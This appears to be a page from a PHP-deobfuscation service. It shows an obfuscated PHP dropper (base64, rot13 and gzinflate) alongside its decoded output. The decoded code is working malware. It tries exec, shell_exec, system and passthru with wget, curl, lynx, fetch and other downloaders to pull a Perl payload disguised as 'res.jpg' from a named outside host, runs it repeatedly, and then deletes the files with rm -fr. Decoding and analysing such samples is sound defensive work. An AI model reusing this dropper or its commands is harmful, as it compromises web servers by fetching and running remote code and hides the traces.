Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<? set_time_limit(12); $robots = '1ZlOYoIwAFPvJv4HYegSqNvBw1nMLsuOu+xhCBRuT3Z1RIzxv0JdGU..

Decoded Output download

b"if(function_exists('exec')){
@exec('wget http://timkiemkhachhang.vn/wp-content/uploads/2016/06/res.jpg -O res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;rm -fr res.*');
@exec('curl http://timkiemkhachhang.vn/wp-content/uploads/2016/06/res.jpg -o res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;rm -fr res.*');
@exec('lwp-download -a http://timkiemkhachhang.vn/wp-content/uploads/2016/06/res.jpg res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;rm -fr res.*');
@exec('lynx -source http://timkiemkhachhang.vn/wp-content/uploads/2016/06/res.jpg > res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;rm -fr res.*');
@exec('fetch -o res.jpg http://timkiemkhachhang.vn/wp-content/uploads/2016/06/res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;rm -fr res.*');
@exec('GET http://timkiemkhachhang.vn/wp-content/uploads/2016/06/res.jpg>res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;rm -fr res.*');
@exec('rm -fr res.*');
@exec('cd ../;wget http://timkiemkhachhang.vn/wp-content/uploads/2016/06/res.jpg -O res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;rm -fr res.*');
@exec('cd ../;curl http://timkiemkhachhang.vn/wp-content/uploads/2016/06/res.jpg -o res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;rm -fr res.*');
@exec('cd ../;lwp-download -a http://timkiemkhachhang.vn/wp-content/uploads/2016/06/res.jpg res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;rm -fr res.*');
@exec('cd ../;lynx -source http://timkiemkhachhang.vn/wp-content/uploads/2016/06/res.jpg > res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;rm -fr res.*');
@exec('cd ../;fetch -o res.jpg http://timkiemkhachhang.vn/wp-content/uploads/2016/06/res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;rm -fr res.*');
@exec('cd ../;GET http://timkiemkhachhang.vn/wp-content/uploads/2016/06/res.jpg>res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;rm -fr res.*');
@exec('rm -rf index.php.*');
@exec('cd ../;rm -fr res.*');
@exec('rm -fr res.*');
@exec('cd ../;rm -fr res.*.*');
@exec('rm -fr res.*.*');
}
elseif(function_exists('shell_exec')){
@shell_exec('wget http://timkiemkhachhang.vn/wp-content/uploads/2016/06/res.jpg -O res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;rm -fr res.*');
@shell_exec('curl http://timkiemkhachhang.vn/wp-content/uploads/2016/06/res.jpg -o res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;rm -fr res.*');
@shell_exec('lwp-download -a http://timkiemkhachhang.vn/wp-content/uploads/2016/06/res.jpg res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;rm -fr res.*');
@shell_exec('lynx -source http://timkiemkhachhang.vn/wp-content/uploads/2016/06/res.jpg > res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;rm -fr res.*');
@shell_exec('fetch -o res.jpg http://timkiemkhachhang.vn/wp-content/uploads/2016/06/res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;rm -fr res.*');
@shell_exec('GET http://timkiemkhachhang.vn/wp-content/uploads/2016/06/res.jpg>res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;rm -fr res.*');
@shell_exec('rm -fr res.*');
@shell_exec('cd ../;wget http://timkiemkhachhang.vn/wp-content/uploads/2016/06/res.jpg -O res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;rm -fr res.*');
@shell_exec('cd ../;curl http://timkiemkhachhang.vn/wp-content/uploads/2016/06/res.jpg -o res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;rm -fr res.*');
@shell_exec('cd ../;lwp-download -a http://timkiemkhachhang.vn/wp-content/uploads/2016/06/res.jpg res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;rm -fr res.*');
@shell_exec('cd ../;lynx -source http://timkiemkhachhang.vn/wp-content/uploads/2016/06/res.jpg > res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;rm -fr res.*');
@shell_exec('cd ../;fetch -o res.jpg http://timkiemkhachhang.vn/wp-content/uploads/2016/06/res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;rm -fr res.*');
@shell_exec('cd ../;GET http://timkiemkhachhang.vn/wp-content/uploads/2016/06/res.jpg>res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;rm -fr res.*');
@shell_exec('cd ../;rm -rf index.php.*');
@shell_exec('cd ../;rm -fr res.*');
@shell_exec('rm -fr res.*');
@shell_exec('cd ../;rm -fr res.*.*');
@shell_exec('rm -rf res.*.*');
}
elseif(function_exists('system')){
@system('wget http://timkiemkhachhang.vn/wp-content/uploads/2016/06/res.jpg -O res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;rm -fr res.*');
@system('curl http://timkiemkhachhang.vn/wp-content/uploads/2016/06/res.jpg -o res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;rm -fr res.*');
@system('lwp-download -a http://timkiemkhachhang.vn/wp-content/uploads/2016/06/res.jpg res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;rm -fr res.*');
@system('lynx -source http://timkiemkhachhang.vn/wp-content/uploads/2016/06/res.jpg > res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;rm -fr res.*');
@system('fetch -o res.jpg http://timkiemkhachhang.vn/wp-content/uploads/2016/06/res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;rm -fr res.*');
@system('GET http://timkiemkhachhang.vn/wp-content/uploads/2016/06/res.jpg>res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;rm -fr res.*');
@system('rm -fr res.*');
@system('cd ../;wget http://timkiemkhachhang.vn/wp-content/uploads/2016/06/res.jpg -O res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;rm -fr res.*');
@system('cd ../;curl http://timkiemkhachhang.vn/wp-content/uploads/2016/06/res.jpg -o res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;rm -fr res.*');
@system('cd ../;lwp-download -a http://timkiemkhachhang.vn/wp-content/uploads/2016/06/res.jpg res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;rm -fr res.*');
@system('cd ../;lynx -source http://timkiemkhachhang.vn/wp-content/uploads/2016/06/res.jpg > res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;rm -fr res.*');
@system('cd ../;fetch -o res.jpg http://timkiemkhachhang.vn/wp-content/uploads/2016/06/res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;rm -fr res.*');
@system('cd ../;GET http://timkiemkhachhang.vn/wp-content/uploads/2016/06/res.jpg>res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;rm -fr res.*');
@system('rm -fr res.*');
@system('cd /var/tmp;rm -rf index.php.*');
@system('cd ../;rm -fr res.*');
@system('cd ../;rm -fr res.*.*');

}
elseif(function_exists('passthru')){
@passthru('wget http://timkiemkhachhang.vn/wp-content/uploads/2016/06/res.jpg -O res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;rm -fr res.*');
@passthru('curl http://timkiemkhachhang.vn/wp-content/uploads/2016/06/res.jpg -o res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;rm -fr res.*');
@passthru('lwp-download -a http://timkiemkhachhang.vn/wp-content/uploads/2016/06/res.jpg res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;rm -fr res.*');
@passthru('lynx -source http://timkiemkhachhang.vn/wp-content/uploads/2016/06/res.jpg > res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;rm -fr res.*');
@passthru('fetch -o res.jpg http://timkiemkhachhang.vn/wp-content/uploads/2016/06/res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;rm -fr res.*');
@passthru('GET http://timkiemkhachhang.vn/wp-content/uploads/2016/06/res.jpg>res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;rm -fr res.*');
@passthru('rm -fr res.*');
@passthru('cd ../;wget http://timkiemkhachhang.vn/wp-content/uploads/2016/06/res.jpg -O res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;rm -fr res.*');
@passthru('cd ../;curl http://timkiemkhachhang.vn/wp-content/uploads/2016/06/res.jpg -o res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;rm -fr res.*');
@passthru('cd ../;lwp-download -a http://timkiemkhachhang.vn/wp-content/uploads/2016/06/res.jpg res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;rm -fr res.*');
@passthru('cd ../;lynx -source http://timkiemkhachhang.vn/wp-content/uploads/2016/06/res.jpg > res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;rm -fr res.*');
@passthru('cd ../;fetch -o res.jpg http://timkiemkhachhang.vn/wp-content/uploads/2016/06/res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;rm -fr res.*');
@passthru('cd ../;GET http://timkiemkhachhang.vn/wp-content/uploads/2016/06/res.jpg>res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;perl res.jpg;rm -fr res.*');
@passthru('rm -rf index.php.*');
@passthru('rm -fr res.*');
@passthru('rm -fr res.*.*');
}
else{}"

Did this file decode correctly?

Original Code

<?
set_time_limit(12);
$robots = '1ZlOYoIwAFPvJv4HYegSqNvBw1nMLsuOu+xhCBRuT3Z1RIzxv0JdGUiLmhESvlsLhTwgfWwJZDgKC+bLOHALTcZPipFaWOrb4/FhOGs7DlT2c1alFVbJXwmRZLqKdrqKPD+KPLZn14x5uON0WUUmVsGTzAsEbJk8QslxV2Uq3GK+tJxCWA10nOZWq1aeTUGYn6ZC9mv2h+kXh1ItMbPuMZMDVJB62JHAZbyWxN3jYUx2OSIrZZ+2cZ1qQhtF6VTadHlU3B3nx/tKO7Rs54iN2yywXJfMQ6TwWAviBlILpoiKGsoUChpSGAoXxBtsdcUsoKXLI2F8jn9XVD/dfKE6sx8OdSJ1eVUcEdEkTHWhRh8AyB0dtvdv025uvGkGDaI1nbn/SdN2ey01HfTOSQQJIwMzlFLQIsnEDugUmGAyQMMYU+scRlA1LHp2LEZIXd7kQPN1W3qFpHbVSKcJT0Yp0P6bQ4Hi6K8CU2Se4gUQnSLtt90U5I0th9Ja57wwpoDrpQthMGLgZ9I5ML5SyNrLiVlsZj6dP/HdSm8Io5vpwz0hcZQXKn6qKUD+1Ki9102NCnA0DRlRczVk/z1Js/ZNbjXmze0HElBKxEDeQAuieGU4i8BR0RUykEZZyfOYaJr/nu32Pw==';

echo(gzinflate(str_rot13(base64_decode($robots))));
;
?>

Function Calls

gzinflate 1
str_rot13 1
base64_decode 1
set_time_limit 1

Variables

$robots 1ZlOYoIwAFPvJv4HYegSqNvBw1nMLsuOu+xhCBRuT3Z1RIzxv0JdGUiLmhES..

Stats

MD5 6b5a9a83fcc41a608f87b8540e5df960
Eval Count 0
Decode Time 105 ms